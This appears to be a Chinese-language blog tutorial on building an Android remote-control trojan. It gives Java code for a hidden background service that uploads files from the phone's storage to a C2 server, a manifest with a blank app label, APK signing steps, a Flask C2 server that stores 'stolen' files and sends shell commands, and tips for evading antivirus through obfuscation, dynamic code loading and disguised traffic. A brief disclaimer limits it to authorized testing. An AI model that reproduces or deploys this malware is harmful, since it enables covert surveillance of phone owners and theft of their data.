一、从一次APT行动说起

某金融机构向安全团队求助,称他们的管理后台出现异常登录记录,部分敏感财务数据被篡改。经过分析发现,攻击路径竟然是从一名员工的安卓手机开始。攻击者通过社工手段诱使目标安装了一款伪装成合法工具的恶意APP,这款APP允许远程操控目标手机,实现从摄像头录制、麦克风监听到文件窃取等功能。最终,攻击者通过收集到的敏感信息绕过了多重认证,获取了内部系统的访问权限。

这种基于安卓远控木马的攻击方式在实战中屡见不鲜,潜在危害极大。今天,我们就来亲手实践,打造一款安卓远控木马,并探讨如何在实际攻击中使用它。

免责声明:本文内容仅限于授权测试与学习研究,严禁非法使用!

---

二、木马的设计:从核心功能出发

功能需求分析

一个实用的安卓远控木马至少具备以下功能:

  1. 文件操作:下载、上传、删除文件。
  2. 摄像头与麦克风:实时录制。
  3. 命令执行:支持远程执行任意Shell命令。
  4. 权限控制:后台静默运行,隐藏图标。
  5. 数据传输:加密的C2通信,避免流量被检测。

我们的目标是在实现上述功能的基础上,保持轻量化,同时考虑实际对抗中的免杀需求。

---

三、实验环境配置:搭建你的战场

黑客示意图

在开始编码之前,我们需要搭建一个实验环境,以便测试木马和C2的交互。

所需工具与平台

  1. 安卓测试设备:安卓模拟器(推荐Genymotion)或者真机。
  2. 攻击者服务器:用于运行C2控制端,可以是本地Kali Linux或云服务器。
  3. 开发工具:Android Studio、Python 3.x、ADB工具。
  4. 编程语言:Java(用于安卓APP开发)、Python(用于C2服务端开发)。

环境搭建步骤

  1. 安装Android Studio,并下载目标安卓系统的SDK。
  2. 搭建模拟器,配置网络为桥接模式,确保模拟器与本地服务器可以互通。
  3. 在Kali Linux上配置Python环境,安装Flask库用于开发C2服务端:
  4. <pre><code class="language-bash"> pip install flask `

至此,实验环境已准备就绪。

---

四、Payload构造的艺术:编写恶意APP

接下来,我们开始编写远控木马的核心部分——安卓恶意APP。

核心代码实现

以下是一个简化版的恶意APP,包含最基础的文件操作功能。

MainActivity.java</code></pre>java package com.example.malware;

import android.app.Service; import android.content.Intent; import android.os.IBinder; import android.util.Base64; import java.io.DataOutputStream; import java.io.File; import java.io.FileInputStream; import java.net.HttpURLConnection; import java.net.URL;

public class MainActivity extends Service { @Override public IBinder onBind(Intent intent) { return null; // 不需要绑定 }

@Override public int onStartCommand(Intent intent, int flags, int startId) { new Thread(() -> { try { // 上传文件到C2服务器 File file = new File("/sdcard/test.txt"); // 假设目标文件 uploadFile(file, "http://<C2服务器地址>/upload"); } catch (Exception e) { e.printStackTrace(); } }).start();

黑客示意图

return START_STICKY; // 后台服务不被杀死 }

private void uploadFile(File file, String targetUrl) { try { HttpURLConnection conn = (HttpURLConnection) new URL(targetUrl).openConnection(); conn.setDoOutput(true); conn.setRequestMethod("POST"); conn.setRequestProperty("Content-Type", "application/octet-stream");

DataOutputStream dos = new DataOutputStream(conn.getOutputStream()); FileInputStream fis = new FileInputStream(file);

byte[] buffer = new byte[4096]; int read; while ((read = fis.read(buffer)) != -1) { dos.write(buffer, 0, read); }

fis.close(); dos.flush(); dos.close(); } catch (Exception e) { e.printStackTrace(); } } } <pre><code> AndroidManifest.xml</code></pre>xml <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.example.malware"> <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" /> <application android:allowBackup="true" android:label=" " android:theme="@style/Theme.App"> <service android:name=".MainActivity" android:enabled="true" android:exported="false" /> </application> </manifest> <pre><code>

构建与签名

  1. 使用Android Studio构建APK文件。
  2. 签名APK以绕过安卓系统的安装限制:
  3. `bash jarsigner -verbose -keystore my-release-key.jks app-release.apk alias_name `

---

五、C2服务端开发:控制木马的中枢

C2服务端是用来接收木马上传的数据并向其发送指令的核心模块。我们用Python实现一个简单的控制端。 </code></pre>python from flask import Flask, request

app = Flask(__name__)

@app.route('/upload', methods=['POST']) def upload(): file_data = request.data with open("stolen_file.txt", "wb") as f: f.write(file_data) # 保存木马上传的文件 print("[INFO] File received and saved!") return "OK"

黑客示意图

@app.route('/command', methods=['GET']) def command(): return "ls -l" # 返回远程执行的命令

if __name__ == '__main__': app.run(host='0.0.0.0', port=80) <pre><code> 黑客示意图

运行C2服务端:</code></pre>bash python3 c2_server.py `

---

六、免杀与对抗:如何避开杀软检测

常见的检测机制

  1. 静态检测:APK中包含可疑代码或字符串。
  2. 动态检测:APP运行时的行为异常,如频繁联网。
  3. 签名校验:未签名或使用已知恶意签名的APK会被拦截。

绕过技巧

  1. 代码混淆:使用ProGuard工具混淆Java代码。
  2. 动态加载:核心恶意代码通过网络动态加载,减少静态分析的命中率。
  3. 流量伪装:通过HTTPS或自定义协议加密C2通信。

---

七、攻防对抗中的经验总结

  1. 模块化设计:将所有功能模块化,方便扩展和复用。
  2. 测试环境还原真实场景:在目标设备上充分测试木马的隐蔽性。
  3. 对抗思维:在开发过程中,始终模拟蓝队的检测手段,不断优化免杀能力。

安卓远控木马的开发不仅是技术的挑战,更是攻防对抗思维的体现。在合法授权的前提下,深入研究这些技术,能够帮助我们更好地了解攻击者的手段,从而构建更坚固的防御体系。